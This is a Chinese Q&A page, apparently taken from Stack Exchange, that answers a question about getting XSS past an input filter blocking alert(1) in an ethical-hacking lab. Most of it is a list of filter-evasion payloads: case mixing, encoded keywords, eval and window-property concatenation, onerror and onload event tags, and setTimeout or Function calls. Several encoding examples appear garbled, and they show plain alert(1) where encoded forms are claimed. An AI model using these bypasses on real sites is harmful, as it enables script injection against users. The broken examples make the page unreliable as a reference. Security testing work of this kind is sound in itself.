如何实施XSS攻击?伦理黑客实验遇输入过滤求可行方案
XSS绕过输入过滤的常见方法(针对alert(1)被拦截场景)
以下是针对输入过滤拦截alert(1)的常见绕过思路,适用于伦理黑客实验室的实操场景:
大小写混淆:多数基础过滤仅匹配全小写的关键字,尝试混合大小写绕过:
Alert(1) aLerT(1) ALERT(1)字符编码绕过:利用HTML实体、Unicode或十六进制编码对关键字转义,浏览器会自动解析执行:
- HTML实体编码:
alert(1) - Unicode转义:
\u0061\u006c\u0065\u0072\u0074(1) - 十六进制HTML编码:
alert(1)
- HTML实体编码:
注释插入绕过:在关键字或参数中插入注释,干扰过滤规则的匹配逻辑:
a<!--任意字符-->lert(1) aler/*xxx*/t(1) alert(/*注释内容*/1)字符串拼接与属性访问:将
alert拆分为字符串拼接,或通过对象属性访问的方式调用:eval('a'+'l'+'e'+'r'+'t'+'(1)') window['alert'](1) window['al'+'ert'](1)参数与语法变形:修改
alert的参数形式,或使用等价语法绕过:alert('1') // 将数字1改为字符串形式 alert(!!1) // 用布尔值等价替代数字1 alert(1+0) // 用表达式替代直接数字标签与事件替换:如果是HTML上下文的过滤,换用其他可触发JS的标签或事件:
<img src=x onerror=alert(1)> <iframe onload=alert(1)> <body onresize=alert(1)> <scriPt>alert(1)</scRipt> <!-- 标签名大小写混淆 -->利用JS内置方法触发:通过其他JS内置函数间接调用
alert:setTimeout('alert(1)', 0) Function('alert(1)')() top.alert(1) // 利用顶层对象调用换行/空格干扰:在关键字或括号间插入换行、空格或制表符,破坏过滤规则的连续匹配:
alert (1) alert( 1 )
内容的提问来源于stack exchange,提问作者s19583
相关产品推荐
相关产品推荐

